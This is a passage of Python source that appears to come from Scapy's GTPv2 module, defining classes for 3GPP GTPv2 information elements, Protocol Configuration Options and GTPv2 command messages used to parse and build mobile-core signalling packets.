ConditionalField(\n        BitField(\"ARRL\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"PPOFF\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"PPON\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"PPSI\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"CSFBI\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"CLII\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"CPSR\", 0, 1), lambda pkt: pkt.length > 3),\n        ConditionalField(\n        BitField(\"NSI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"UASI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"DTCI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"BDWI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"PSCI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"PCRI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"AOSI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"AOPI\", 0, 1), lambda pkt: pkt.length > 4),\n        ConditionalField(\n        BitField(\"ROAAI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"EPCOSI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"CPOPCI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"PMTSMI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"S11TF\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"PNSI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"UNACCSI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"WPMSI\", 0, 1), lambda pkt: pkt.length > 5),\n        ConditionalField(\n        BitField(\"_5GSNN26\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"REPREFI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"_5GSIWKI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"EEVRSI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"LTEMUI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"LTEMPI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"ENBCRSI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"TSPCMI\", 0, 1), lambda pkt: pkt.length > 6),\n        ConditionalField(\n        BitField(\"SPARE1\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"SPARE2\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"SPARE3\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"N5GNMI\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"_5GCNRS\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"_5GCNRI\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"_5SRHOI\", 0, 1), lambda pkt: pkt.length > 7),\n        ConditionalField(\n        BitField(\"ETHPDN\", 0, 1), lambda pkt: pkt.length > 7),\n\n    ]\n\n\nPDN_TYPES = {\n    1: \"IPv4\",\n    2: \"IPv6\",\n    3: \"IPv4/IPv6\",\n}\n\nPCO_OPTION_TYPES = {\n    3: \"IPv4\",\n    129: \"Primary DNS Server IP address\",\n    130: \"Primary NBNS Server IP address\",\n    131: \"Secondary DNS Server IP address\",\n    132: \"Secondary NBNS Server IP address\",\n}\n\n\nclass PCO_Option(Packet):\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            p = p[:1] + struct.pack(\"!B\", len(p) - 2) + p[2:]\n        return p + pay\n\n\nclass PCO_Protocol(Packet):\n    # 10.5.6.3 of 3GPP TS 24.008\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            p = p[:2] + struct.pack(\"!B\", len(p) - 3) + p[3:]\n        return p + pay\n\n\nclass PCO_IPv4(PCO_Option):\n    name = \"IPv4\"\n    fields_desc = [ByteEnumField(\"type\", None, PCO_OPTION_TYPES),\n                   ByteField(\"length\", None),\n                   IPField(\"address\", RandIP())]\n\n\nclass PCO_Primary_DNS(PCO_Option):\n    name = \"Primary DNS Server IP Address\"\n    fields_desc = [ByteEnumField(\"type\", None, PCO_OPTION_TYPES),\n                   ByteField(\"length\", None),\n                   IPField(\"address\", RandIP())]\n\n\nclass PCO_Primary_NBNS(PCO_Option):\n    name = \"Primary DNS Server IP Address\"\n    fields_desc = [ByteEnumField(\"type\", None, PCO_OPTION_TYPES),\n                   ByteField(\"length\", None),\n                   IPField(\"address\", RandIP())]\n\n\nclass PCO_Secondary_DNS(PCO_Option):\n    name = \"Secondary DNS Server IP Address\"\n    fields_desc = [ByteEnumField(\"type\", None, PCO_OPTION_TYPES),\n                   ByteField(\"length\", None),\n                   IPField(\"address\", RandIP())]\n\n\nclass PCO_Secondary_NBNS(PCO_Option):\n    name = \"Secondary NBNS Server IP Address\"\n    fields_desc = [ByteEnumField(\"type\", None, PCO_OPTION_TYPES),\n                   ByteField(\"length\", None),\n                   IPField(\"address\", RandIP())]\n\n\nPCO_PROTOCOL_TYPES = {\n    0x0001: 'P-CSCF IPv6 Address Request',\n    0x0002: 'IM CN Subsystem Signaling Flag',\n    0x0003: 'DNS Server IPv6 Address Request',\n    0x0005: 'MS Support of Network Requested Bearer Control indicator',\n    0x000a: 'IP Allocation via NAS',\n    0x000d: 'DNS Server IPv4 Address Request',\n    0x000c: 'P-CSCF IPv4 Address Request',\n    0x0010: 'IPv4 Link MTU Request',\n    0x0012: 'P-CSCF Re-selection Support',\n    0x001a: 'PDU session ID',\n    0x0022: '5GSM Cause Value',\n    0x0023: 'QoS Rules With Support Indicator',\n    0x0024: 'QoS Flow Descriptions With Support Indicator',\n    0x001b: 'S-NSSAI',\n    0x001c: 'QoS Rules',\n    0x001d: 'Session-AMBR',\n    0x001f: 'QoS Flow Descriptions',\n    0x8021: 'IPCP',\n    0xc023: 'Password Authentication Protocol',\n    0xc223: 'Challenge Handshake Authentication Protocol',\n}\n\nPCO_OPTION_CLASSES = {\n    3: PCO_IPv4,\n    129: PCO_Primary_DNS,\n    130: PCO_Primary_NBNS,\n    131: PCO_Secondary_DNS,\n    132: PCO_Secondary_NBNS,\n}\n\n\ndef PCO_option_dispatcher(s):\n    \"\"\"Choose the correct PCO element.\"\"\"\n    option = orb(s[0])\n\n    cls = PCO_OPTION_CLASSES.get(option, Raw)\n    return cls(s)\n\n\ndef len_options(pkt):\n    return pkt.length - 4 if pkt.length else 0\n\n\nclass PCO_P_CSCF_IPv6_Address_Request(PCO_Protocol):\n    name = \"PCO PCO-P CSCF IPv6 Address Request\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(XBitField(\"address\",\n                                              \"2001:db8:0:42::\", 128),\n                                    lambda pkt: pkt.length)]\n\n\nclass PCO_IM_CN_Subsystem_Signaling_Flag(PCO_Protocol):\n    name = \"PCO IM CN Subsystem Signaling Flag\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=len_options)]\n\n\nclass PCO_DNS_Server_IPv6(PCO_Protocol):\n    name = \"PCO DNS Server IPv6 Address Request\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(XBitField(\"address\",\n                                              \"2001:db8:0:42::\", 128),\n                                    lambda pkt: pkt.length)]\n\n\nclass PCO_SOF(PCO_Protocol):\n    name = \"PCO MS Support of Network Requested Bearer Control indicator\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ]\n\n\nclass PCO_PPP(PCO_Protocol):\n    name = \"PPP IP Control Protocol\"\n    fields_desc = [ByteField(\"Code\", 0),\n                   ByteField(\"Identifier\", 0),\n                   ShortField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=len_options)]\n\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n\nclass PCO_IP_Allocation_via_NAS(PCO_Protocol):\n    name = \"PCO IP Address allocation via NAS Signaling\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=len_options)]\n\n\nclass PCO_P_CSCF_IPv4_Address_Request(PCO_Protocol):\n    name = \"PCO PCO-P CSCF IPv4 Address Request\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(IPField(\"address\", RandIP()),\n                                    lambda pkt: pkt.length)]\n\n\nclass PCO_DNS_Server_IPv4(PCO_Protocol):\n    name = \"PCO DNS Server IPv4 Address Request\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(IPField(\"address\", RandIP()),\n                                    lambda pkt: pkt.length)]\n\n\nclass PCO_IPv4_Link_MTU_Request(PCO_Protocol):\n    name = \"PCO IPv4 Link MTU Request\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(ShortField(\"MTU_size\", 1500),\n                                    lambda pkt: pkt.length)]\n\n\nclass PCO_P_CSCF_Re_selection_Support(PCO_Protocol):\n    name = \"PCO P-CSCF Re-selection Support\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=len_options)]\n\n\nclass PCO_PDU_Session_Id(PCO_Protocol):\n    name = \"PCO PDU session ID\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", 1),\n                   ByteField(\"PduSessionId\", 1)]\n\n\nclass PCO_5GSM_Cause_Value(PCO_Protocol):\n    name = \"PCO 5GSM Cause Value\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=len_options)]\n\n\nclass PCO_QoS_Rules_With_Support_Indicator(PCO_Protocol):\n    name = \"PCO QoS Rules With Support Indicator\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass PCO_QoS_Flow_Descriptions_With_Support_Indicator(PCO_Protocol):\n    name = \"PCO QoS Flow Descriptions With Support Indicator\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass PCO_S_Nssai(PCO_Protocol):\n    name = \"PCO S-NSSAI\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   ConditionalField(\n                       ByteField(\"SST\", 0), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       ShortField(\"SD\", 0), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       ByteField(\"Hplmn_Sst\", 0), lambda pkt: pkt.length >= 4),\n                   ConditionalField(\n                       ShortField(\"Hplmn_Sd\", 0), lambda pkt: pkt.length > 4)]\n\n\nclass PCO_Qos_Rules(PCO_Protocol):\n    name = \"PCO QoS Rules\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass PCO_Session_AMBR(PCO_Protocol):\n    name = \"PCO Session AMBR\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", 6),\n                   ByteField(\"dlunit\", 0),\n                   ShortField(\"dlambr\", 0),\n                   ByteField(\"ulunit\", 0),\n                   ShortField(\"ulambr\", 0)]\n\n\nclass PCO_QoS_Flow_Descriptions(PCO_Protocol):\n    name = \"PCO QoS Flow Descriptions\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketListField(\"Options\", None, PCO_option_dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass PCO_IPCP(PCO_Protocol):\n    name = \"PCO Internet Protocol Control Protocol\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketField(\"PPP\", None, PCO_PPP)]\n\n\nclass PCO_PPP_Auth(PCO_Protocol):\n    name = \"PPP Password Authentication Protocol\"\n    fields_desc = [ByteField(\"Code\", 0),\n                   ByteField(\"Identifier\", 0),\n                   ShortField(\"length\", None),\n                   ByteField(\"PeerID_length\", 0),\n                   ConditionalField(StrFixedLenField(\n                       \"PeerID\",\n                       \"\",\n                       length_from=lambda pkt: pkt.PeerID_length),\n                       lambda pkt: pkt.PeerID_length),\n                   ByteField(\"Password_length\", 0),\n                   ConditionalField(\n                       StrFixedLenField(\n                           \"Password\",\n                           \"\",\n                           length_from=lambda pkt: pkt.Password_length),\n                       lambda pkt: pkt.Password_length)]\n\n\nclass PCO_PasswordAuthentificationProtocol(PCO_Protocol):\n    name = \"PCO Password Authentication Protocol\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketField(\"PPP\", None, PCO_PPP_Auth)]\n\n\nclass PCO_PPP_Challenge(PCO_Protocol):\n    name = \"PPP Password Authentication Protocol\"\n    fields_desc = [ByteField(\"Code\", 0),\n                   ByteField(\"Identifier\", 0),\n                   ShortField(\"length\", None),\n                   ByteField(\"value_size\", 0),\n                   ConditionalField(StrFixedLenField(\n                       \"value\", \"\",\n                       length_from=lambda pkt: pkt.value_size),\n                       lambda pkt: pkt.value_size),\n                   ConditionalField(StrFixedLenField(\n                       \"name\", \"\",\n                       length_from=lambda pkt: pkt.length - pkt.value_size - 5),  # noqa: E501\n                       lambda pkt: pkt.length)]\n\n\nclass PCO_ChallengeHandshakeAuthenticationProtocol(PCO_Protocol):\n    name = \"PCO Password Authentication Protocol\"\n    fields_desc = [ShortEnumField(\"type\", None, PCO_PROTOCOL_TYPES),\n                   ByteField(\"length\", None),\n                   PacketField(\"PPP\", None, PCO_PPP_Challenge)]\n\n\nPCO_PROTOCOL_CLASSES = {\n    0x0001: PCO_P_CSCF_IPv6_Address_Request,\n    0x0002: PCO_IM_CN_Subsystem_Signaling_Flag,\n    0x0003: PCO_DNS_Server_IPv6,\n    0x0005: PCO_SOF,\n    0x000a: PCO_IP_Allocation_via_NAS,\n    0x000c: PCO_P_CSCF_IPv4_Address_Request,\n    0x000d: PCO_DNS_Server_IPv4,\n    0x0010: PCO_IPv4_Link_MTU_Request,\n    0x0012: PCO_P_CSCF_Re_selection_Support,\n    0x001a: PCO_PDU_Session_Id,\n    0x0022: PCO_5GSM_Cause_Value,\n    0x0023: PCO_QoS_Rules_With_Support_Indicator,\n    0x0024: PCO_QoS_Flow_Descriptions_With_Support_Indicator,\n    0x001b: PCO_S_Nssai,\n    0x001c: PCO_Qos_Rules,\n    0x001d: PCO_Session_AMBR,\n    0x001f: PCO_QoS_Flow_Descriptions,\n    0x8021: PCO_IPCP,\n    0xc023: PCO_PasswordAuthentificationProtocol,\n    0xc223: PCO_ChallengeHandshakeAuthenticationProtocol,\n}\n\n\ndef PCO_protocol_dispatcher(s):\n    \"\"\"Choose the correct PCO element.\"\"\"\n    proto_num = orb(s[0]) * 256 + orb(s[1])\n    cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw)\n    return cls(s)\n\n\nclass IE_PCO(gtp.IE_Base):\n    name = \"IE Protocol Configuration Options\"\n    fields_desc = [ByteEnumField(\"ietype\", 78, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"Extension\", 0, 1),\n                   BitField(\"SPARE\", 0, 4),\n                   BitField(\"PPP\", 0, 3),\n                   PacketListField(\"Protocols\", None, PCO_protocol_dispatcher,\n                                   length_from=lambda pkt: pkt.length - 1)]\n\n\nclass IE_EPCO(gtp.IE_Base):\n    name = \"IE Extended Protocol Configuration Options\"\n    fields_desc = [ByteEnumField(\"ietype\", 197, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"Extension\", 0, 1),\n                   BitField(\"SPARE\", 0, 4),\n                   BitField(\"PPP\", 0, 3),\n                   PacketListField(\"Protocols\", None, PCO_protocol_dispatcher,\n                                   length_from=lambda pkt: pkt.length - 1)]\n\n\nclass IE_APCO(gtp.IE_Base):\n    name = \"IE Additional Protocol Configuration Options\"\n    fields_desc = [ByteEnumField(\"ietype\", 163, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"extension\", 0, 1),\n                   BitField(\"SPARE\", 0, 4),\n                   BitField(\"PPP\", 0, 3),\n                   PacketListField(\"Protocols\", None, PCO_protocol_dispatcher,\n                                   length_from=lambda pkt: pkt.length - 1)]\n\n\nclass IE_PAA(gtp.IE_Base):\n    name = \"IE PAA\"\n    fields_desc = [ByteEnumField(\"ietype\", 79, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE\", 0, 5),\n                   BitEnumField(\"PDN_type\", None, 3, PDN_TYPES),\n                   ConditionalField(\n                       ByteField(\"ipv6_prefix_length\", 8),\n                       lambda pkt: pkt.PDN_type in (2, 3)),\n                   ConditionalField(\n                       XBitField(\"ipv6\", \"2001:db8:0:42::\", 128),\n                       lambda pkt: pkt.PDN_type in (2, 3)),\n                   ConditionalField(\n                       IPField(\"ipv4\", 0), lambda pkt: pkt.PDN_type in (1, 3)),\n                   ]\n\n\nclass IE_Bearer_QoS(gtp.IE_Base):\n    name = \"IE Bearer Quality of Service\"\n    fields_desc = [ByteEnumField(\"ietype\", 80, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE1\", 0, 1),\n                   BitField(\"PCI\", 0, 1),\n                   BitField(\"PriorityLevel\", 0, 4),\n                   BitField(\"SPARE2\", 0, 1),\n                   BitField(\"PVI\", 0, 1),\n                   ByteField(\"QCI\", 0),\n                   BitField(\"MaxBitRateForUplink\", 0, 40),\n                   BitField(\"MaxBitRateForDownlink\", 0, 40),\n                   BitField(\"GuaranteedBitRateForUplink\", 0, 40),\n                   BitField(\"GuaranteedBitRateForDownlink\", 0, 40)]\n\n\nclass IE_ChargingID(gtp.IE_Base):\n    name = \"IE Charging ID\"\n    fields_desc = [ByteEnumField(\"ietype\", 94, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   IntField(\"ChargingID\", 0)]\n\n\nclass IE_ChargingCharacteristics(gtp.IE_Base):\n    name = \"IE Charging Characteristics\"\n    deprecated_fields = {\n        \"ChargingCharacteristric\": (\"ChargingCharacteristic\", \"2.6.0\")\n    }\n    fields_desc = [ByteEnumField(\"ietype\", 95, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   XShortField(\"ChargingCharacteristic\", 0)]\n\n\nclass IE_PDN_type(gtp.IE_Base):\n    name = \"IE PDN Type\"\n    fields_desc = [ByteEnumField(\"ietype\", 99, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE\", 0, 5),\n                   BitEnumField(\"PDN_type\", None, 3, PDN_TYPES)]\n\n\nclass IE_UE_Timezone(gtp.IE_Base):\n    name = \"IE UE Time zone\"\n    fields_desc = [ByteEnumField(\"ietype\", 114, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteField(\"Timezone\", 0),\n                   ByteField(\"DST\", 0)]\n\n\nclass IE_Port_Number(gtp.IE_Base):\n    name = \"IE Port Number\"\n    fields_desc = [ByteEnumField(\"ietype\", 126, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ShortField(\"PortNumber\", RandShort())]\n\n\nclass IE_APN_Restriction(gtp.IE_Base):\n    name = \"IE APN Restriction\"\n    fields_desc = [ByteEnumField(\"ietype\", 127, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteField(\"APN_Restriction\", 0)]\n\n\nclass IE_SelectionMode(gtp.IE_Base):\n    name = \"IE Selection Mode\"\n    fields_desc = [ByteEnumField(\"ietype\", 128, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE\", 0, 6),\n                   BitField(\"SelectionMode\", 0, 2)]\n\n\nclass IE_MMBR(gtp.IE_Base):\n    name = \"IE Max MBR/APN-AMBR (MMBR)\"\n    fields_desc = [ByteEnumField(\"ietype\", 161, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   IntField(\"uplink_rate\", 0),\n                   IntField(\"downlink_rate\", 0)]\n\n\nclass IE_UPF_SelInd_Flags(gtp.IE_Base):\n    name = \"IE UP Function Selection Indication Flags\"\n    fields_desc = [ByteEnumField(\"ietype\", 202, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE\", 0, 7),\n                   BitField(\"DCNR\", 0, 1)]\n\n\nclass IE_FQCSID(gtp.IE_Base):\n    name = \"IE FQ-CSID\"\n    fields_desc = [ByteEnumField(\"ietype\", 132, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"nodeid_type\", 0, 4),\n                   BitField(\"num_csid\", 0, 4),\n                   ConditionalField(\n                       IPField(\"nodeid_v4\", 0),\n                       lambda pkt: pkt.nodeid_type == 0),\n                   ConditionalField(\n                       XBitField(\"nodeid_v6\", \"2001:db8:0:42::\", 128),\n                       lambda pkt: pkt.nodeid_type == 1),\n                   ConditionalField(\n                       BitField(\"nodeid_nonip\", 0, 32),\n                       lambda pkt: pkt.nodeid_type == 2),\n                   ShortField(\"csid\", 0)]\n\n\nclass IE_Ran_Nas_Cause(gtp.IE_Base):\n    name = \"IE RAN/NAS Cause\"\n    fields_desc = [ByteEnumField(\"ietype\", 172, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"protocol_type\", 0, 4),\n                   BitField(\"cause_type\", 0, 4),\n                   ByteField(\"cause_value\", 0)]\n\n\n# 3GPP TS 29.274 v16.1.0 section 8.67.\nclass IE_PrivateExtension(gtp.IE_Base):\n    name = \"Private Extension\"\n    fields_desc = [\n        ByteEnumField(\"ietype\", 255, IEType),\n        ShortField(\"length\", None),\n        BitField(\"SPARE\", 0, 4),\n        BitField(\"instance\", 0, 4),\n        ShortEnumField(\"enterprisenum\", None, IANA_ENTERPRISE_NUMBERS),\n        StrLenField(\"proprietaryvalue\", \"\",\n                    length_from=lambda x: x.length - 2)]\n\n\nietypecls = {1: IE_IMSI,\n             2: IE_Cause,\n             3: IE_RecoveryRestart,\n             71: IE_APN,\n             72: IE_AMBR,\n             73: IE_EPSBearerID,\n             74: IE_IP_Address,\n             75: IE_MEI,\n             76: IE_MSISDN,\n             77: IE_Indication,\n             78: IE_PCO,\n             79: IE_PAA,\n             80: IE_Bearer_QoS,\n             82: IE_RAT,\n             83: IE_ServingNetwork,\n             84: IE_BearerTFT,\n             86: IE_ULI,\n             87: IE_FTEID,\n             93: IE_BearerContext,\n             94: IE_ChargingID,\n             95: IE_ChargingCharacteristics,\n             97: IE_BearerFlags,\n             99: IE_PDN_type,\n             107: IE_MMContext_EPS,\n             109: IE_PDNConnection,\n             114: IE_UE_Timezone,\n             126: IE_Port_Number,\n             127: IE_APN_Restriction,\n             128: IE_SelectionMode,\n             132: IE_FQCSID,\n             136: IE_FQDN,\n             145: IE_UCI,\n             161: IE_MMBR,\n             163: IE_APCO,\n             170: IE_ULI_Timestamp,\n             172: IE_Ran_Nas_Cause,\n             197: IE_EPCO,\n             202: IE_UPF_SelInd_Flags,\n             255: IE_PrivateExtension}\n\n#\n# GTPv2 Commands\n# 3GPP TS 29.060 V9.1.0 (2009-12)\n#\n\n\nclass GTPV2Command(Packet):\n    fields_desc = [PacketListField(\"IE_list\", None, IE_Dispatcher)]\n\n\nclass GTPV2EchoRequest(GTPV2Command):\n    name = \"GTPv2 Echo Request\"\n\n\nclass GTPV2EchoResponse(GTPV2Command):\n    name = \"GTPv2 Echo Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2EchoRequest)\n\n\nclass GTPV2CreateSessionRequest(GTPV2Command):\n    name = \"GTPv2 Create Session Request\"\n\n\nclass GTPV2CreateSessionResponse(GTPV2Command):\n    name = \"GTPv2 Create Session Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2CreateSessionRequest)\n\n\nclass GTPV2DeleteSessionRequest(GTPV2Command):\n    name = \"GTPv2 Delete Session Request\"\n\n\nclass GTPV2DeleteSessionResponse(GTPV2Command):\n    name = \"GTPv2 Delete Session Request\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2DeleteSessionRequest)\n\n\nclass GTPV2ModifyBearerCommand(GTPV2Command):\n    name = \"GTPv2 Modify Bearer Command\"\n\n\nclass GTPV2ModifyBearerFailureIndication(GTPV2Command):\n    name = \"GTPv2 Modify Bearer Failure Indication\"\n\n\nclass GTPV2DeleteBearerCommand(GTPV2Command):\n    name = \"GTPv2 Delete Bearer Command\"\n\n\nclass GTPV2DeleteBearerFailureIndication(GTPV2Command):\n    name = \"GTPv2 Delete Bearer Failure Indication\"\n\n\nclass GTPV2BearerResourceCommand(GTPV2Command):\n    name = \"GTPv2 Bearer Resource Command\"\n\n\nclass GTPV2BearerResourceFailureIndication(GTPV2Command):\n    name = \"GTPv2 Bearer Resource Failure Indication\"\n\n\nclass GTPV2DownlinkDataNotifFailureIndication(GTPV2Command):\n    name = \"GTPv2 Downlink Data Notification Failure Indication\"\n\n\nclass GTPV2ModifyBearerRequest(GTPV2Command):\n    name = \"GTPv2 Modify Bearer Request\"\n\n\nclass GTPV2ModifyBearerResponse(GTPV2Command):\n    name = \"GTPv2 Modify Bearer Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2ModifyBearerRequest)\n\n\nclass GTPV2CreateBearerRequest(GTPV2Command):\n    name = \"GTPv2 Create Bearer Request\"\n\n\nclass GTPV2CreateBearerResponse(GTPV2Command):\n    name = \"GTPv2 Create Bearer Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2CreateBearerRequest)\n\n\nclass GTPV2UpdateBearerRequest(GTPV2Command):\n    name = \"GTPv2 Update Bearer Request\"\n\n\nclass GTPV2UpdateBearerResponse(GTPV2Command):\n    name = \"GTPv2 Update Bearer Response\"\n\n    def answers(self, other):\n        return isinstance(other, GTPV2UpdateBearerRequest)\n\n\nclass GTPV2DeleteBearerRequest(GTPV2Command):\n    name = \"GTPv2 Delete Bearer Request\"\n\n\nclass GTPV2SuspendNotification(GTPV2Command):\n    name = \"GTPv2 Suspend Notification\"\n\n\nclass GTPV2SuspendAcknowledge(GTPV2Command):\n    name = \"GTPv2 Suspend Acknowledge\"\n\n\nclass GTPV2ResumeNotification(GTPV2Command):\n    name = \"GTPv2 Resume Notification\"\n\n\nclass GTPV2ResumeAcknowledge(GTPV2Command):\n    name = \"GTPv2 Resume Acknowledge\"\n\n\nclass GTPV2DeleteBearerResponse(GTPV2Command):\n    name = \"GTPv2 Delete Bearer Response\"\n\n\nclass GTPV2ContextRequest(GTPV2Command):\n    name = \"GTPv2 Context Request\"\n\n\nclass GTPV2ContextResponse(GTPV2Command):\n    name = \"GTPv2 Context Response\"\n\n    def answers(self, other):\n        return isinstance(other, 